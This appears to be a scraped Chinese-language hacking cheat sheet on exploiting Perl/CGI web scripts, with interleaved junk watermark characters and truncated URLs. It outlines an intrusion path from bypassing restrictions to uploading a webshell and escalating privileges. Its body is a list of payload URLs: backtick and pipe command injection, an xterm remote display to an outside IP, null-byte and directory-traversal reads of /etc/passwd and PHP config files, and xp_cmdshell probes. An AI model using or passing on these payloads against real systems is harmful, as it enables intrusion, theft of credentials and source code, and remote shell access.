总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 4 a( f8 C# H* }. b- z
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
, r. j+ C% n8 h' B3 W$ @, \+ [感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
$ P: s: Q8 z4 X. R+ f9 g注“ : Q6 {; d N+ j# l, K+ S% W
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 ' w1 N7 Q7 h3 E3 y4 H! M) B3 b: h
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
$ G" N* v8 ^. y/ A3 e/ F8 u6 R k8 G' W' T7 r+ m; r+ S
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 / d5 r% K. m0 `, ]: s
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
( l9 g7 g5 m3 m6 a' N# ]: R0 c4 phttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 ; @9 C/ Q7 Z' A8 ~8 S4 H+ g o
http://target.com/cgi-bin/home/news/sub.pl?`id` 6 f4 \" Z' b% O. s: E3 }
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` # o2 |' Z* \3 K% k6 ]
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
0 u# F9 U" B0 p+ |! N* T1 i& O1 k# f! W
http://target.com/test.pl;ls|
' P3 n( \" l6 W9 k# x' dhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| * i) _- O+ q0 h) N
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
" f) B8 \( U- ?; I! Ihttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
2 T6 L5 v5 b' i" g比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 8 n9 j3 t# f# l `1 N
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection 5 O, p$ Q ?- r* P9 A1 l* U+ b
8 Q6 ]" C2 B8 P" i* \: z
http://target.com/test.pl?&........ /../../etc/passwd
0 N6 r* `! r% l% @; T7 X4 d
7 z) E3 m) t0 Yhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
9 L+ f$ q0 z$ a" hhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 + _2 `5 l( T' i/ A
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 9 J# f1 Q ]( r, m8 q4 E
& q$ Q5 a: q- D6 k
http://www.target.org/show.php?f ... /include/config.php 查看php代码 1 \; t9 w0 B+ f9 {2 o* R' s
http://www.target.org/show.php?f ... ng/admin/global.php
9 Y- f- X, l D4 [' V- ]# w. Q1 z1 ^
emm和ps的一句话
# X; u' I; q* K D% I1 F+ X4 ^5 e( \. ?+ @6 v; r% ~
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 - e" b+ g. o9 B7 N
8 q$ s& R! {; p7 }2 u% A( K1 O3 M
>bbb%20| 4 C) M0 B1 m/ H" ], B" n$ h
! o; z( c4 x2 n+ C. N) a* B$ u
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
: q3 S% V0 r. p, w$ D) D
~' {% e) L! k/ l; Shttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
+ Q2 u3 Y& d3 N6 f( Ohttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin 4 J) B X! @6 w9 O9 v! w9 m
3 i; p3 r8 H0 l& t" W相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
3 c: q( I5 x6 l2 yhttp://target.com/index.html#cmd.exe
% U1 r5 e# }, u$ I$ ^- g- Vhttp://target.com/index.html?dummyparam=xp_cmdshell
9 o4 F( }" d- a& q- Q, H/ Mlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
1 O- g2 P0 o3 W2 O |